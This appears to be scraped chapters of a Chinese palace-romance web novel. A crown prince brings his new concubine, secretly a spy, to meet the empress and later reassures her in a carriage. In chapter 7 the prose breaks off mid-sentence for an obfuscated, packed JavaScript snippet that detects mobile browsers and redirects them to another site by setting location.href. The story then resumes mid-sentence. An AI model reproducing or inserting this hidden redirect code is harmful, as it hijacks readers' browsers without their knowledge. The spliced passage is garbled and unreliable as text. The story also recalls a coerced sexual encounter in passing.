李福站在身后,循着殿下目光望去,开怀笑道:“殿下,您瞧娘娘走得这么慢,这是心里对殿下不舍呢”。李琤给他一记眼光,旋即抬脚往乾元殿而去。 早朝照例是那几样议事,李琤一身太子蟒服,身姿挺拔,在一众臣僚中更显鹤立鸡群。 惠安帝虽正值盛年,但多年率军南征北战,到底不是金刚不坏之身,这刚登基没几年,各种毛病都显现出来了。 他此刻头戴通天冠,一身正黄色九爪龙袍,在浓烈的黄色映衬之下,帝王脸色更显苍白,眼角布满细密的皱纹,不时捂嘴低咳。 一代枭雄,即使已经贵为九五至尊,也无可避免走向衰老和灭亡。 退朝后,李琤惦念着玄光殿的人,脚步不自觉比往常快上许多。惠安帝身边的内侍追了许久才追到,顾不上喘气,“殿下,圣上请殿下留步,他还有几句话想对殿下详说”。 李琤朝他拱手作揖,依旧是谦和有礼的储君风范,转头望了眼高大威武的乾元殿,心中疑惑,也顾不上其他,只得跟在笑容满面的内侍身后。 待内侍朝殿内通传,半晌方传来一个苍老的声音,“进”。内侍亲自为太子掀开门帘,笑道:“殿下快进去吧”。 李琤不明所以,微架着眉踌躇片刻,旋即抬脚进去。六合靴在地板上发出清晰的响声,乾元殿内间并无甚摆设,更显大殿的清冷。 惠安帝坐在正前方的御案后,手掌支在嘴畔低咳一声,见到来人摆手道:“坐吧,不必多礼”。 虽圣上放言不必多礼,李琤依旧规规矩矩叩首行君臣大礼,额头触到冰冷的地板。圣上微微怔愣,良久才道:“起吧”。声音比方才暗哑不少。 “朕听说你后院封了个奉仪?”李固饶有趣味问。 李琤愣了一下,似乎没想到他叫黄门让自己留步就为了问这无关紧要之事。拱手作礼回:“是,此事儿臣未曾请示圣上便私自做决定,还望圣上恕罪”。 “嗳,这叫什么话”,李固摆手满不在乎,“你多年孤零零一人,如今终于愿意亲近女子,朕跟你母后高兴还来不及,你不知道,你母后那个人,年纪大了最是期盼儿孙满堂,先前为了你的事忧愁许久”。 “眼下,朕和皇后终于能放心了”,李固不知想到什么忽然两眼放光,“什么时候你也给朕生个小皇孙出来?你看洛华那混账,虽然比你小了好几岁,她那儿子都会走路会喊朕‘阿翁’了!” 若是圣上跟他论国事他尚能侃侃而谈,可如今跟他说这些稀疏到平常的闲话,李琤反倒不知该如何接。只好一言不发站在原地。 惠安帝自顾自说着,久久未听到回应,一颗心如同泡在酸水罐子里又酸又涨,酸得他喉咙发苦。 他望向自己儿子,这个带着他和妻子无数期盼无数喜悦迎来的儿子,眉眼皆肖像自己,包括处理政务的雷霆手段。如今跟自己却愈发疏离,父子二人明明血脉相连,终究渐行渐远。 李固神情恍惚,脸色瞬间颓丧,他无力靠在龙椅上,不过四十多岁的帝王年纪轻轻富有四海,此刻脸上尽是无奈。他无力道:“你……还是怨朕吗?” 李琤抬头望他一眼,很快又低下头,神情依旧古井无波,正色道:“陛下是父亦是君,天下没有不是的君父,儿臣身为人臣,自幼学的是孔孟儒道,儿臣不敢,也不会埋怨圣上”。 “天下没有不是的君父?”李固喃喃,眼神虚无缥缈似乎陷入某种遥远的回忆中,低声叹息:“你还是怨朕的……” 7. 第七章 李琤甫一进门,梁含章马上迎上来,整张脸显而易见的紧张。 柳叶眉微蹙起,一双眸子水光充盈,被蒙了一层透明的水雾。像清晨山间笼罩的层层山雾,总无端让人感觉愁肠百结。 她真的怕太子忙于公务把她一人忘在这里。虽然这个情况可能性不大,但就是莫名心慌,眼下见人进来,终于松了口气。 李琤见她可怜兮兮,心中忍不住泛软,方才在乾元殿与圣上交谈留下的丁点不快瞬间烟消云散。 只是他身为储君,表情管理得十分出色,面上不显分毫。温声道:“走吧”。 “是”,女人一如既往怯生生站在旁边低头,从他角度只能看到随着动作缓慢晃动的步摇。 显然秋分已经叮嘱过她面见凤颜的规矩,看她走得小心翼翼如临大敌的表现就可看出。 “母后是个很好的人,如今久居长春宫,虽然洛华经常带瑜儿进宫探望,但留的时间到底不长。她年纪大了就期望儿孙绕膝的天伦之乐,是以你不必过于紧张”。 李洛华是太子胞妹,大晋仅此一位至高无上的长公主,十五岁及笄时招了自小青梅竹马的右领军大将军赵文为驸马,而今与驸马孕育一子名唤赵瑜,年已三岁。 “妾身明白”,梁含章抬头冲他甜甜笑了下。唇角微扬眉眼弯弯,眼尾似荡漾着两抹浅淡的涟漪,清澈的眼睛如藏着一汪细泉,正在往外咕噜噜冒着泡儿。 李琤跟她相处时间极少,见得最多是她泪眼朦胧的可怜样儿,如此明媚的笑容绽放在眼前,如早春御花园开得最旺的粉桃花。 即使没牡丹那般艳丽扑鼻,却依旧清香袭人。 他微微有些呆愣。本来自然下垂的手突然抚上腰间剑柄用力握住,指尖都在微微泛白。轻咳一声:“走吧”。 内庭之中不可佩刀剑,按理来说即使他身为宠命优渥的太子也不能例外,但圣上似乎并未阻止,一直听之任之。 梁含章觑了眼他修长白皙的指骨,迄今为止跟太子没正经见过几面,她想在对方心里留个好印象。先前的柔弱怯懦装太久了担心太子厌烦,不说太子,她自己都觉得烦。 可如今的效果嘛。 梁含章微抬眸瞥了眼大步往前走的男人,耳边浮起几丝明显的薄红。心中暗喜:效果好得很。 同时心里暗自纳闷,这太子面对女人如此局促不安,难道他活了这么些年岁,竟是没跟女子相处过吗? 即便洁身自好不想在太子妃进门前纳妾室,但不是说皇家子弟十几岁便会有专门引导男女阴阳之事的教习姑姑吗?他连那个也没碰过? 不过,回想那天在丰乐楼两人的第一次,没过半盏茶时间男人便一泻千里。 嗯,估计确实是他第一次。因为当时她看到男人脸上浮现出的尴尬、震惊、疑惑,种种神情交织在一起,着实精彩。 思及此,梁含章忽然觉得这买卖还不算太亏。她潜伏在东宫不仅可救阿兄一命,还把堂堂端方俊美的天潢贵胄——太子殿下的童子身给睡了。 童子身啊!这谁能想到?! 不是不太亏,是稳赚不赔! 李琤自然不清楚身后女人脑袋瓜里想什么,只不过察觉到她似乎有些气喘脚步没跟上,不自觉放缓了脚步。 李福随侍在一旁,皱纹都被他笑出来了,啧啧。 老太监的工作鲜少需要在太阳底下露面,因而他的肤色是白里透红的,在走动下还淌着汗。 让人不由想到岭南盛产的荔枝——剥开带刺的红皮,绽放在眼前的就是这般散发迷人色泽的果肉。 二人行至长春宫,皇后身边的宋嬷嬷已在殿门口等许久。见远远一对壁人相携上前。殿下手握剑柄走在前面,奉仪人生得娇小,微低着头跟在身后。 女子头上步摇随着脚步缓缓而动,额间一点胭脂花钿如红梅落雪,湘色下裳在女子的莲步轻移下,荡漾起逶迤的涟漪。美目流盼,肌肤胜雪。 竟是世间少见的美人。 宋嬷嬷愣了片刻,很快扬起笑脸,眼角的皱纹随着她笑意更深更重:“殿下终于来了!娘娘今早唠叨好几遍,还想差人到前朝探探口风呢!老奴说不必担心,殿下一准是朝会耽搁了,答应娘娘的事殿下还会食言不成?” 到了长春宫,李琤像一块屹立孤峰雪巅、散发着冷寒的冰块,在靠近火堆时终于有一丝融化迹象——也仅仅一丝而已。 他动作残留些许拘谨疏离,不过到底没冷了宋嬷嬷的场子,含笑道:“倒是孤的不是了,待会儿孤亲自给母后陪罪”。 “是呢是呢!娘娘虽疼爱殿下,可如今这情形,不陪娘娘好好用一顿膳食可说不过去!” 宋嬷嬷几乎算看着太子长大成人,清楚储君与帝后之间关系疏离的真正缘故。因而也想从中牵线搭桥帮忙缓和关系。 李琤面容含笑,并未作答。梁含章听到却仿若晴天霹雳,什么,还要用膳?跟皇后一起?不是说只拉拉家常而已吗? 这不是把她往火上炙烤吗,她真的不想啊!还未等她在心里哭嚎,宋嬷嬷已将话题转移到她身上,“这就是奉仪娘娘吧?长得真真玉雪可人明眸善睐”。 说着意有所指看了李琤一眼,“怪道先前娘娘为殿下挑选长安贵女,殿下从未放在心上。老奴今日一瞧才知道,京都的贵女加起来都不及奉仪娘娘万分之一”。 这话有夸大事实成分在,梁含章不好答,只尬笑在一旁道:“嬷嬷过誉了……” 李琤不着痕迹看了她一眼,并未点头也未否认。但熟悉他的人诸如李福知道,他是默认的意思。 王皇后听到动静很快赶出来,一行人在中庭的竹林幽径相遇。 对面妇人四十岁上下,身着紫黄色凤袍,衣襟上用金丝勾勒的凤凰展翅欲飞。妇人跟圣上差不多年纪,气色却比圣上好很多。头发乌黑,步履稳健,眉宇间可看出几丝英气。 正是皇后无疑。 王皇后看到久违的儿子,脚步明显踉跄了下。她抬手捂住嘴巴掩饰失态,声音带了显而易见的哽咽:“琤儿来了……” 那手指甲虽染了胭脂豆蔻,却不像寻常养尊处优的妇人之手。手背粗糙黝黑,明显的伤疤都有好几道。 梁含章不由分说联想到秋分曾跟她说王皇后年轻时孤身上马率军迎敌的英姿飒爽的场面,心中微微溢出几分钦佩。 李琤二话不说直接下跪:“儿臣见过母后”,梁含章内心忐忑生怕礼节上有任何闪失,也跟着手忙脚乱行礼。 好在皇后不是计较之人,她亲自上前把太子扶起来,又走到梁含章身边,拉着她小手寒暄:“这就是东宫的奉仪吧?”脸是朝着李琤方向问的。 李琤低头作答:“是”。 “长得这般水灵,不怪皇儿一见倾心,本宫看了都恨不得把人留在身边日日看着赏心悦目啊!哎,可惜本宫生来不是男儿身,否则,断不会让如此佳人流落在外!” 王皇后举手投足宛若少女,连梁含章听了都忍俊不禁。只是顾及着场合生生忍了下去。 “可怜的孩子”,王皇后摩挲到她手上未消的老茧,面露心疼,“这些年委屈你了,如今你既身为东宫后院的人,若是日后琤儿哪里做得不对的,你尽管来长春宫告知与我,本宫替你好好教训这小子!” 梁含章小心翼翼瞥了旁边男人一眼,怯生生开口:“殿下对妾很好”。 王皇后视线在夫妻二人身上扫来扫去,似乎发现什么了不得的事,眉目含笑好像对此极为满意:“那就好!那就好!本宫也能放心了!” 梁含章见皇后待人如此亲厚,倒是真像太子等人先前形容的一般。更没有嫌弃她出身,仗着身份打压人的意思,一时间松了口气,对皇后的好感更多了。 只是,太子与帝后的亲缘关系微妙,到底是怎样个微妙法?直到踏入长春宫坐到椅子上,梁含章依旧百思不得其解。 “中午可得好好在这儿吃顿正经午膳”,皇后朝身边宋嬷嬷吩咐,“厨房的炙烤兔肉准备好了吗?琤儿最喜食的就是兔肉了”。 此时李琤脸色微不可察僵硬了下,不过掩饰得极好,只是出现的瞬间便被喝茶的动作挡住。等茶杯放到桌上时,露出的依旧是平日清冷谪仙的储君模样。 宋嬷嬷含笑答:“娘娘放心吧,您一早上不知提醒多少遍,老奴亲自去厨房盯着呢,一早准备好就等殿下来了!” “甚好!”王皇后兴致很高,等各类珍馐美味被宫娥端上来时,她亲自给李琤夹了几块炙烤兔肉: “尝尝看,这是阿娘命人去乐游原上面打的野兔,肉质紧实外焦里嫩,放点胡椒上去最是美味不过”。 李琤接过面不改色吃下。王皇后又招呼旁边的梁含章吃,这双年轻人越看越喜欢,忍不住道: “琤儿后院有人,到底像个家了。就是不知什么时候给阿娘生个小皇孙出来?阿娘可是期盼得很!” 李琤心里实在感觉无趣。 帝后二人是撺掇好的么,怎一句两句都离不开皇嗣之事。若是生而不养视其为累赘,还不如不生,孩子没有选择是否降生的权利,实在可怜。 他没感受过父爱,也不知如何教养孩子,心里害怕若是那稚子出生,自己做得不好让那小小生命受到委屈。 皇后面色突然伤感,声音也沙哑起来,双眼望着远方似乎在怀念着什么,“你二弟也是,自个儿孤零零一人待在边疆,身边连个贴心人也没有,阿娘想见他一面还得等到元日之时”。 她语气惆怅,“你们三个一下子长大了,如离巢的鸟儿久不归家,阿娘和你父皇每日就在宫城中盼啊盼,就盼着儿女承欢膝下享受天伦那天……” “还是你们兄妹小时候好,那时虽然战火纷飞朝局动荡不安,但你们小小一个在阿娘身边,阿娘看着你们,感觉心都化了……” 李琤执玉箸安静吃着,梁含章却能感受到他有些心不在焉。 “娘娘,殿下好容易来看望一趟,您说这些伤感的作甚呢?”宋嬷嬷在一边小声提醒。 王皇后脸色一顿,看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350271|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默不作声的儿子,满腔惆怅只能掩埋在心底。她略微调整下呼吸,面露歉意:“母后一时间情绪过激,琤儿莫要见怪”。 “母后思念二弟以致痛心疾首,儿臣恨不得以身受之,怎会见怪?”李琤似乎很是不解。 梁含章以旁观者看这一母一子的互动,终于体会到李福那句“亲缘关系微妙”到底是何意。 很怪,真的非常奇怪。按理说正常母子相处不会像太子这般疏离,更不像皇后这般小心翼翼。 除去一开始时的见面,皇后的一言一行几乎都在小心观察着太子神色。只要太子有一丝不悦的征兆,她马上会制止当前的话语。 怎么会?帝后不是对太子这个继承人颇为满意的吗?否则也不会在短短几年不断放权,更赐予太子象征帝王身份的青龙卫。 青龙卫是前朝帝王豢养的私兵,军士凶猛强悍训练有素,对上更是忠心耿耿。以至于后来青龙卫更是成了保护帝王安危,专门为帝王服务的死士。 这名字一直沿用至今。 可如此强悍的一支军队,圣上眼睛都不眨直接给了太子。这样的信任,历朝历代能找出来的帝王恐怕少之又少。 到底是为什么才导致太子与帝后离心,而皇后待太子只能小心翼翼? 这边王皇后很快把话题转到她身上,“本宫听说奉仪未遇到太子之前一直丰乐楼?” “回娘娘的话,正是”。 “你可有名字?本宫倒不知如何唤你了”。太子无疑是极像皇后的,特别是眉眼这一块,简直如出一辙。不过皇后的眉眼稍显凌厉,太子的更温润些。 “妾没有名字,更不知父母是谁,不过从小到大人家一直唤妾章娘,娘娘若是不嫌弃,也可以这样唤”。 “你不知父母是谁?可本宫听说一应酒楼的丫鬟若是被雇佣,都是要出示户籍证明的”。皇后不解问。 “娘娘,是这样的”,梁含章从头到尾没敢抬头看皇后一眼,声音更是娇娇柔柔的,如春风吹拂柳枝,让听者心生愉悦。 “妾很小的时候便被家里人卖出来,后又辗转几个大户人家当丫鬟。许是上天垂怜,在妾十岁时被一老妇买回家,老妇无儿无女,这么多年一直视妾为亲子。妾的户籍便在她那里”。 “原来如此”,皇后听得心疼,忍不住握她手安慰,“你小小年纪被卖,可见吃了多少苦。好在如今苦尽甘来得了琤儿青眼,来到东宫成了奉仪。若是日后琤儿称帝,你肚子里再得个一子半女,就是皇子公主的生身母亲了,身份自然尊贵无比”。 “妾不敢痴心妄想,能来东宫已是莫大的造化,妾对殿下感恩戴德,这份恩情更是誓死难忘”。梁含章小脸发烫,实实在在体会了一番储君的身边人的感受。 储君是国之根本,储君的子嗣更是朝野上下关注的话题。来长春宫才没多久,梁含章已经被唠叨了几耳朵。 真不知道平日太子是如何忍下来的,又是为何迟迟不愿娶妻纳妾。梁含章坚信自己的魅力远没有高到可以影响殿下,可他却偏偏在自己面前破了规矩。 难道,真的是那日中的情毒已经到了扰人心神、催人心肺的地步? 李琤跟母亲没什么话聊,本以为会在长春宫吃个饭就走。没想到婆媳俩手拉着手关系挺好,聊得倒是投机。 多是皇后在问,奉仪在答,讲述更多的是她这十多年来为奴为婢的漂泊生活。 皇后听得心疼,身后的李福也是面色不忍。李琤直到现在方知,他那动不动胆战心惊如同惊弓之鸟的奉仪,小时候过的居然是这等艰苦生活。 反倒是他作为人质被囚在逆贼手里威胁父皇的时候,起码还是衣食无忧体面地活着的。 甚至,还能遇见那小太阳般的小女娘。 这样两相比较,倒显得他有些不识好歹无病呻吟了。李琤无奈苦笑,却是罕见的,第一次认真看这个名义上属于自己的女人。 她双眉紧蹙,贝齿总在有意无意咬着下唇,雾蒙蒙的眼睛仿佛永远笼罩着无尽愁绪。好不容易保养得白皙点的小手更是无意识绞着衣摆,能看出她内心极度的惶恐和不安。 那双手必定还留着积年劳作的旧茧未消,他只所以了解得一清二楚,是因当日二人行鱼水之欢时,他压在女人身上,女人柔弱无力的小手不断推拒着,他不得已之下只好将两个手掌分别覆在她上面,与她十指相扣,当时就触及到她手心的茧子。 章娘——这个名字无意识在他嘴角轻轻荡漾,连他也不清楚自己此刻是何感觉。当日,真的是情毒作祟吗? 不得而知。这问题他一辈子也回答不了。 他只知道,当自己以一个旁观者身份听着她不带感情陈述当年经历的种种,被抛弃,被挨打,被冰天雪地之中罚跪。这些遥远又陌生的词汇,居然能从一个柔弱的小女子口中说出来。 她走了这么多年,必定是过得极为痛苦吧?李琤如是想。 不觉间,轻声呢喃的“章娘”二字竟带了苦涩,心间也跟着隐隐泛疼。 8. 第八章 回东宫路上,李琤破天荒没有骑马,而是跟她一同挤在小小的马车上。华幢翠盖,车轮有规律往前移动,檐壁上印刻着独属于东宫的徽章。 其实马车是不小的,只是男人一身逼人的气质大刀阔斧坐上来,才显得空间逼仄,压得梁含章差点喘不过气。 她偷瞥一眼对面侧坐在褥子上手握书卷的男人,旋即低下头一动不敢动,生怕打扰国之储君处理公务。 “你很怕孤?”李琤清越的嗓音在死寂的车厢响起,倚着靠背,修长的手指正不疾不徐翻阅书卷。 车窗漏进来几缕阳光洒落在男人白净清癯的面庞上,梁含章甚至清楚看到上面的细小绒毛。 那一瞬间让人莫名产生一种错觉,好似两人是情意甚笃的夫妻,百无聊赖窝在一处,正懒洋洋晒着太阳排遣时光。 可是,怎么可能呢?他乃一国太子,她的身份更是低贱到污垢尘埃的下等人。她们天生云泥之别。 “嗯?” 男人未等到回答又重复了声,凌厉到能刺穿人心脏的视线从书里挪到她身上,眉宇间隐约残留几分不虞。 梁含章一惊顾不上出神,手忙脚乱答:“没……妾身没有”。她被男人外表伪装的温润尔雅欺骗,却差点忘记了他是身份贵重的储君。 男人既能稳坐太子之位,除去圣上的宠赖与支持外,更离不开自身的能力。如此有手段的一个人,又岂会如外表表现的那般人畜无害? 不过是他伪装的手段罢了。可笑的是,她居然差点就信了。梁含章思及此,尚且心有余悸。 李琤掀起眼皮懒懒看了对面一眼,却见女人如临大敌,脸色吓得煞白,还嘴硬说自己没害怕,说出去都没人信。 他不由得怀疑,自己长得真这般吓人?竟让她害怕到这个份上?一时间都有些后悔上车了,只是若就此贸然下去,按照她多想的性子不会又心生惶恐,害怕哪里触怒了他吧? 一时间进退两难,走也不是留也不是。一向运筹帷幄的他,面对这样一个娇娘子,罕见的没了主意。 到底没忘记上车目的,他开口道:“前段时间听李福说你因郁结在心病了?” 梁含章依旧胆战心惊,视线只敢盯着自己鞋尖,颤抖着声音答,“是,不过着了些风寒,现下已痊愈”。 “孤有一事想问问你的意见”,他鲜少与女人同乘一车,闻着不远处传来的阵阵馨香,捏着书卷的长指在力的作用下微微泛白。 “你是不是在东宫过得不快活?” 女人骤然抬头震惊望着他,嘴巴惊得下意识张大,“殿下何出此言?”不会要赶她走吧? 哎不是,他手里那块玉佩怎如此眼熟?梁含章此刻心情犹如过山车,七上八下的。今日相处时没怎么注意到,现下二人离得如此近,她眼睛瞬间被玉佩吸引了视线。 他怎么也有这玉佩?跟那老道盒子里装着的几乎一摸一样!不对,他跟老道到底什么关系? 梁含章心脏几乎跳到嗓子眼儿,手心在极度震惊下微微冒汗。老道是前朝旧人,一直妄图复国,太子身上也有几乎相同的玉佩。他……不会通敌吧? 虽然这个猜想十分匪夷所思。 否则,他身上怎也有这样一枚玉佩?梁含章相信自己眼睛,他手里把玩着的玉佩跟老道珍藏的就是一对。不同的是,他手里的是阳,道士手里的是阴。 阴阳祥和,组成了通体润泽的玲珑玉佩。 循着女人震惊到不加掩饰的目光,李琤望向手中的玉佩,攒眉将其掩在衣襟里。 正色道:“孤一开始未曾询问你的意愿便将你纳入东宫,如今想来不甚妥当。若你眷恋故土欲要归家,孤会尊重你的意见,赐你金帛钱财锦绣归乡,与家人共享天伦”。 “不是的,殿下”,女人娇怯的声音传来,汪着一泓秋水望他,断断续续道:“幸得殿下垂怜,妾终于能摆脱这十几年为奴为婢的人生,过上正常的生活。对妾来说,殿下于妾有着再造之恩。妾恐怕一辈子都难以报答殿下恩德”。 “至于锦绣归乡,妾更是不敢想”,她垂下眼眸,浓密的睫毛扑簌簌抖动,引得一汪清泉化成水珠滚滚而落。 “与妾相依为命的老妇已于去年过世,而今不过一浮萍野草耳,早已没有家了,又何谈天伦之乐?” 她苦笑一声,“这种生活我从来不敢想,自小孤身一人漂泊,于我而言能有一碗热汤喝已经是极好的了”。 “殿下不知道,自阿娘去年过世,邻居叔伯就一直视我为累赘,甚至试图将我卖入下等的窑子去换钱。幸而我能干,在丰乐楼找了份工作,虽整日挨打受骂,可到底手里有了份正经收入。也正因为此,叔伯才卸下先前念头”。 “若那日未遇到殿下,妾依旧是低贱下等的奴仆,每日为着生计奔波劳碌”。女人哭得纤柔,泪光之下更显娇弱,她抬起朦胧的泪眼: “不知是妾哪里做得不对,惹得殿下不喜?殿下尽管说来,妾一定会改的”,她一边哭一边跪爬到男人腿边,哭得上气不接下气,眼底满是惊惶: “求殿下不要赶我走,妾一定老实本分绝不叫殿下为难,殿下能不能……”她声音哽咽哭得几欲短气,连话都说不下去了。 在梁含章谈到自己被叔伯视为累赘之时,不知是否联想到自己,莫名的,李琤心底一沉。 失神之际却发现自己小腿被人抱着,女人哭得凄切,肝肠寸断的模样似乎极其恐慌。 心里一惊,忙俯身把人拉起来,轻咳一声:“不会,孤不会把你赶出东宫,若是你不想,没人能左右你的决定”。 “真的吗?”女人眼睛湿润,沾满泪珠的睫毛正不安眨着,反复确认,“殿下真不会赶妾身走?” 李琤回握她手,试图通过这样的方式让女人更有安全感,坚定点头:“嗯,方才是孤胡言乱语,惹得你心有不安,是孤的错”。 “殿下怎会有错?”女人破涕为笑,灿烂的笑容之下,李琤只觉得马车内光线一下子更明亮了,似乎置身于柔和的春光中,耳边隐约传来莺啼燕鸣,让人心旷神怡。 “是妾太过失礼,未曾听完殿下的话便断章取义,实在莽撞,万望殿下恕罪”,她后知后觉自己此时姿势十分狼狈,脚步踉跄着要从地上站起来。 李琤也注意到自己正握着对方软若无骨的手,虽依旧能感受到上面 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即使不能,自己装得柔弱些,博取男人同情总归是没错的。 果然!李琤暗自叹息,方才她犹犹豫豫,他心里已有了猜测。不曾想,她外表看着乖巧又可人,背地里竟会胡思乱想这么多吗? 是不是他成日忙于公务导致疏忽?男人不由得有些怪罪自己,当日是自己失控强要了她,现下纳入东宫又不曾好好待她,实非君子所为。 事已至此,她也成了他的女人,李琤目光逐渐坚定,日后他定会好好对待,绝不会让女人再这般诚惶诚恐。 “你放心,只要你不愿,就永远会是东宫的娘娘。就算……日后后院入了其他人,孤今日的承诺也不会变”。 “多谢殿下”,女人嘴唇嗫嚅,颤巍巍开口:“妾尚有一事不明”。 “何事?”不知为何,面对她时李琤脾气好得出奇,没了平日的不耐。若是李福在身侧,必定是吃惊的不得了。 “殿下是不是厌恶臣妾?”尽管有蹬鼻子上脸的嫌疑在,梁含章今日也得问清楚了,看出来他不讨厌是一回事,让男人亲自承认又是另一回事。 她敢肯定,今日之后二人的关系定会突飞猛进,相较于前大不相同。 听到这话,男人漆黑的眸子终于落到女人身上,无比郑重道:“孤从未厌恶过你,若是厌恶”,他苦笑一声,“便也不会把你带回东宫了”。 “你怎会有如此疑问?” 梁含章紧咬嘴唇,斟酌良久方答:“妾来东宫这些时日,殿下都不曾来后院……”说着声音越来越小,带着泪痕的脸蛋也沾染一丝可疑的红痕。 这话问的,好像她特别渴望殿下来后院似的。会不会让他误会?算了,误会就误会吧,只要能增进感情。 男人愣了下,似乎没想到她会问这话,一时间心情复杂。说她胆小吧,她又能直接投诉心中不满。说她胆大吧,遇到丁点小的事动不动就掉眼泪。 所以,当真是他冷落了她? “孤公务繁忙,你没来东宫之前也一直宿在前院,只是习惯而已,并非对你不满,你莫要多想”。 9. 第九章 阴雨阵阵,丝丝缕缕编织在天幕中,让人无端心里烦闷。 梁含章一大早便托腮坐在窗台前望着阴冷潮湿的雨丝,秀气的眉毛蹙起,似被下了定身法一般,眼神一动不动,不知在想些什么。 秋分把新灌满热水的汤婆子塞到她怀里,忍不住劝道:“娘娘,春雨寒凉,您身上的风寒刚痊愈不久,万不能再见风。要不奴婢把窗关了吧?” 梁含章的思绪被拉回来,怔愣看了眼身边的丫鬟,心不在焉点头。 阿兄身上的病一到雨天就严重得厉害,常常手脚抽搐疼痛难忍,也不知道今日如此阴冷的天气,他身子究竟受不受得了。 虽那日在马车二人说开,李琤也澄清他并未不喜自己。只是,男人依旧整日忙碌,未曾迈入后院一步。 她连太子的身都近不了,更别提讨男人欢心获取情报了。跛脚道士当初只说安排她潜伏在太子宫获取情报,却没说具体要何情报。导致她现在万分迷茫,镇日待在院子无所事事。 思索之际,门口传来一阵略显匆忙的脚步声,随后听到冬至等人井然有序的问安:“长公主万福”。 长公主?李洛华? 梁含章吃了一惊,忙转头过去看。却见一身着胡服头戴黑色幞头,相貌英俊的女子朝她走过来。女子身形偏瘦却不显羸弱,那双含笑的眸子与李琤如出一辙。 果然是嫡亲的兄妹。 她手忙脚乱站起来,身体却不听使唤差点左脚绊右脚摔地上。李洛华身子一闪赶到旁边将人扶住,玩笑道:“皇嫂如此喜欢洛华,甫一见面便激动得站不稳脚跟了?” 梁含章郑重向她行礼。经过这段时间李福和秋分关于礼节上面的提点,她刚入东宫时的丑态早已不复存在。虽然对方看着面善,又把自己位置放得极低喊她一声皇嫂,可她却不能当真。 皇嫂是正儿八经太子妃的称呼,她一个小小奉仪,面对一国长公主怎敢拿乔? “章娘拜见公主殿下”。 “不必多礼”,李洛华早先一步将她扶起来,一双细长的眸子上上下下打量着,眼睛忍不住发亮,惊喜道: “怪道皇兄清心寡欲多年,却独独把你纳入东宫,瞧着这通身清水芙蓉的气派,连我也忍不住想怜爱一番”。 这话没法答,梁含章只好搬出官样文章:“妾身蒲柳之姿,幸得殿下垂怜……” “垂怜个蛋,依我看他就是看上你了,只是心里不愿承认而已”,长平公主接过她奉上的茶呷一口,一撩袍子翘起二郎腿,兴致勃勃: “你不知道皇兄的为人,若是不合心意,管你中甚么情毒,他能生生忍到医丞过来,决计不会碰任何女子”。 梁含章:“!” 极度震惊之下整个人显得有些僵硬,嘴唇嗫嚅半晌却不知说什么。 金尊玉贵、荣宠无数的大晋长公主,嘴里居然能冒出如此粗俗的话来,丝毫没有她平日见到的贵女那般风范。 这位长公主倒是个奇人。 “皇嫂刚进东宫时我本想来探望一番,可巧听说你病了不好叨扰。昨日进宫见母后,本来我也打算去长春宫蹭顿饭食,奈何瑜哥儿病了也不好脱身,推来挪去只好挑到今日”。 “多谢公主关怀”,梁含章听此又要起身拜谢,被长平公主阻止。“听闻你今年不过十七,我倒将将比你大了一岁,不必总行这些虚礼了”。 “不知世子身体如何?”梁含章不知公主此行真正目的,不敢冷了场子,忙接着话题道。 “无事,只是小风寒而已,现下他阿父在家照顾,我也乐得清闲”,她抓起桌上的胡饼细细咀嚼起来,因嘴里塞着食物话语便有些含糊不清: “今日我过来是想邀你一同出门逛逛,已经请示过皇兄了,不知皇嫂意下如何?” 梁含章实在担当不起那声皇嫂,犹豫着提议:“若是公主不嫌弃就叫我章娘吧,这样合礼些”。 “章娘?倒是个好名字”,她目光炯炯,脸上浮着笑意:“那往后就唤你章娘,这样显得亲厚些”。 “正是”。她望了望外面朦胧的日光,将心中困惑言明:“现今尚下着雨,此时出门会不会有些不方便?” 更重要的是她怕公主着凉,自己身子如何尚且不要紧,若是惹得公主玉体抱恙,她可是万死难辞其咎了。 “不慌,我们坐马车出门随便逛逛,不见风不着雨的”,公主兴致勃勃,“我自见章娘第一面便喜欢得紧,不知章娘可否赏个脸?” 一国公主与驸马成婚孩子都三岁了,梁含章实在想不到她看上去居然一团孩子气,整个人脾气好得不像真人。大抵身份尊贵,被家人宠爱惯了。 摆手笑道:“怎会?公主相邀,章娘高兴还来不及,只是”,她声音渐渐低下来,“章娘身份低微,恐冲撞了公主”。 “你答应就好!”李洛华喜得伸手抓她小手轻轻捏着表示亲昵,“我铁打的出身,皮糙肉厚哪里就像你说得这般金贵了?” 小时候天下尚不宁定,她在帝后身旁东奔西跑度过好几年,什么苦没见过?正因如此,长平公主身上没有传统贵女娇奢靡靡的气质。 父皇未登位之前也是个世袭罔替的国公,可戾帝暴政,民生多艰,当时的王侯贵族也与庶人无异。 严格意义来说,她的出身跟章娘相比又尊贵在何处呢? “公主未用早膳吗?不若妾吩咐下人上些吃食?这胡饼放了许久早冷了,恐怕味道不好”。看公主吃得津津有味,梁含章因问道。 “不用”,李洛华接过丫鬟递上来的帕子擦拭了一番,又用茶水漱口,方言道:“只是觉得这胡饼卖相不错,忍不住想尝尝”。 “哦对了,皇兄也甚是喜欢胡饼,母后的长春宫经常做预备着给皇兄吃”,公主挑眉,装作不经意透露这个消息。 梁含章听得云里雾里,这长公主是何意?难不成特意来给她和太子拉红线的?怀着满腹疑惑,她被秋分强拉着到内室换衣物,包裹得严严实实才出来,婢子还时不时叮嘱: “虽如今已是早春,可京城的春风最是刮人,尤其今日还下雨,娘娘出门若不做好保暖措施身子一准着凉”。 “我知道”,梁含章笑着应。虽秋分目的不纯是太子安插在身边的眼线,可现下的关心都是实打实的,她不会平白拒绝一个对她好的人。 李洛华也过来用手蹭了蹭她领口的浅色狐毛,嘴角上扬:“是呢,若章娘着凉,皇兄铁定不会放过我”。 梁含章失笑摇头,心道她如何比得上太子亲妹。殿下不怪罪她都算不错了,腐草之荧如何敢与皓月争辉?至于长平公主进门的一番笑言,更是不曾放在心上。 马车是在一家名曰陶然居的店铺停下,公主将胳膊虚搭在她肩上,十分熟稔走进去。里面的掌柜认识李洛华,忙疾步过来恭敬问安。 